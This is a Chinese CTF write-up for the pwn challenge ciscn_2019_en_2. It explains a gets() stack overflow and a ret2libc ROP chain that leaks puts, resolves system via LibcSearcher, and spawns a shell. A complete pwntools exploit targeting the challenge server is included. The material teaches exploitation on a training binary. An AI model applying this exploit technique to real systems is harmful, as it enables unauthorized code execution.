【LibSearcher】ciscn_2019_en_2
Thursday, December 29, 2022
本文共1685字
4分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/libsearcherciscn_2019_en_2/。商业转载请联系作者获得授权,非商业转载请注明出处!
Do you want to know who you are? Don’t ask. Act! Action will delineate and define you.
— Thomas Jefferson
原题链接和这道题是一道题,一模一样的
checksec 查看程序架构
$ checksec --file ciscn_2019_en_2
[*] '/home/peterl/security/workspace/ciscn_2019_en_2/ciscn_2019_en_2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64 位程序,不能用 shellcode
再用readelf
命令看一下:
$ readelf -r ciscn_2019_en_2
重定位节 '.rela.dyn' at offset 0x538 contains 4 entries:
偏移量 信息 类型 符号值 符号名称 + 加数
000000601ff8 000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602080 000d00000005 R_X86_64_COPY 0000000000602080 stdout@GLIBC_2.2.5 + 0
000000602090 000e00000005 R_X86_64_COPY 0000000000602090 stdin@GLIBC_2.2.5 + 0
0000006020a0 000f00000005 R_X86_64_COPY 00000000006020a0 stderr@GLIBC_2.2.5 + 0
重定位节 '.rela.plt' at offset 0x598 contains 11 entries:
偏移量 信息 类型 符号值 符号名称 + 加数
000000602018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 _exit@GLIBC_2.2.5 + 0
000000602020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000602028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 strlen@GLIBC_2.2.5 + 0
000000602030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000602038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000602040 000600000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0
000000602048 000700000007 R_X86_64_JUMP_SLO 0000000000000000 signal@GLIBC_2.2.5 + 0
000000602050 000900000007 R_X86_64_JUMP_SLO 0000000000000000 gets@GLIBC_2.2.5 + 0
000000602058 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fflush@GLIBC_2.2.5 + 0
000000602060 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000602068 000c00000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
发现没有system
,可能就是 ret2libc 了
ida 查看程序伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
这一大堆杂乱的代码我们花一点时间去分析就会发现,只有当第一次输入的选项是 1 的时候,才会进入encrypt
函数,而这个函数的伪 C 代码为:
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
这代码也是乱得不得了,和神经病发癫一样。但是其实那一大串while
里面的代码都可以通过这一句来跳过去:
v0 = (unsigned int)x; // v0 >= 0
if ( v0 >= strlen(s) )
break;
如果我们让s
的第一个字符为\0
的话,那么它strlen
后的值就始终为 0,v0
始终大于等于s
的长度,那么就能直接跳出循环,不用进行下面那一大串操作。
我们又看到输入函数为gets
,这说明可以栈溢出,同时程序又有puts
函数,我们就能得到libc
的基址,从而计算出system
的真实地址
构建 exp
先把ret
和pop rdi;ret
这两个 gadget 准备好:
$ ROPgadget --binary ciscn_2019_en_2 --only "pop|ret"
Gadgets information
============================================================
...
0x0000000000400c83 : pop rdi ; ret
...
0x00000000004006b9 : ret
...
也可以通过 pwntools 的内置函数得到:
rop_gadget = ROP(m_elf)
pop_rdi: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]
puts 的 plt 和 got 地址、main 的地址同理:
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
main_addr: int = m_elf.sym["main"]
然后我们可以构建第一个 payload 了:
# offset:int = 0x58,可以由gdb或者ida得知
payload = b"\0"*offset + pg(pop_rdi) + pg(puts_got) + pg(puts_plt) + pg(main_addr)
然后我们就能得到puts
的真实地址了:
p.sendline(payload)
p.recvuntil("Ciphertext\n")
# 这里很奇怪,调试后发现多了一个0a,要把它吞掉
p.recv(1)
# 得到真实地址
puts_addr:int = u64(p.recv(6)+b"\x00\x00")
为了避免各种版本的 libc 影响,我们可以使用 LibcSearcher:
# 计算得到基址和system地址
searcher = LibcSearcher("puts", puts_addr)
# 手动选择第0号搜索到的libc
# 如果你选择0号不行,也可以把这行注释掉,运行中再选择
searcher.select_libc(0)
base_addr:int = puts_addr - searcher.dump("puts")
system_addr:int = base_addr + searcher.dump("system")
bin_sh_addr: int = base_addr + searcher.dump("str_bin_sh")
原版 LibcSearcher 已经年久失修,而且基于本地 libc 库,几乎完全不可用,GitHub 上有很多新版 LibcSearcher,我选择了这个使用云端 libc 库的项目
作者为了使用正确的 libc 甚至重新搭了一个 ubuntu18.04 的虚拟机环境,但是在几个小时的忙碌后发现 libc 版本还是不对,于是转而选择 LibcSearcher,不得不说,是真**的好用,感谢原作者和后续无私奉献的开发者!
然后我们可以构建 payload 了:
payload = b"\0"*offset + pg(ret) + pg(pop_rdi) + pg(bin_sh_addr) + pg(system_addr)
完整 exp
from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher
pss: bool = True
fn: str = "./ciscn_2019_en_2"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "29058"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "break main")
else:
p = process(fn,env={"LD_PRELOAD":"/lib/x86_64-linux-gnu/libc.so.6"})
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
# 查找gadget的内置函数
if not if_32:
rop_gadget = ROP(m_elf)
pop_rdi: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]
success(f"pop_rdi:{hex(pop_rdi)}")
success(f"ret:{hex(ret)}")
else:
pop_rdi:int = 0
ret:int = 0
#需要自行设定offset
offset:int = 0x58
# 需要改为需要的输入函数,默认为puts
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
main_addr: int = m_elf.sym["main"]
success(f"puts_plt:{hex(puts_plt)}")
success(f"puts_got:{hex(puts_got)}")
success(f"main_addr:{hex(main_addr)}")
# 发送payload
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil("Input your Plaintext to be encrypted\n")
if if_32:
payload = b"a"*offset + pg(puts_plt) + pg(main_addr) + pg(0) + pg(puts_got)
p.sendline(payload)
# 得到真实地址
puts_addr:int = u32(p.recv(4))
else:
payload = b"\0"*offset + pg(pop_rdi) + pg(puts_got) + pg(puts_plt) + pg(main_addr)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recv(1)
# 得到真实地址
puts_addr:int = u64(p.recv(6)+b"\x00\x00")
# 计算得到基址和system地址
searcher = LibcSearcher("puts", puts_addr)
searcher.select_libc(0)
base_addr:int = puts_addr - searcher.dump("puts")
system_addr:int = base_addr + searcher.dump("system")
bin_sh_addr: int = base_addr + searcher.dump("str_bin_sh")
success(f"puts_addr:{hex(puts_addr)}")
success(f"base_addr:{hex(base_addr)}")
success(f"system_addr:{hex(system_addr)}")
success(f"bin_sh_addr:{hex(bin_sh_addr)}")
# 发送payload
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil("Input your Plaintext to be encrypted\n")
if if_32:
payload = b"a"*offset + pg(system_addr) + pg(0) + pg(bin_sh_addr)
p.sendline(payload)
else:
payload = b"\0"*offset + pg(ret) + pg(pop_rdi) + pg(bin_sh_addr) + pg(system_addr)
p.sendline(payload)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.interactive()
扫码阅读此文章
点击按钮复制分享信息
点击订阅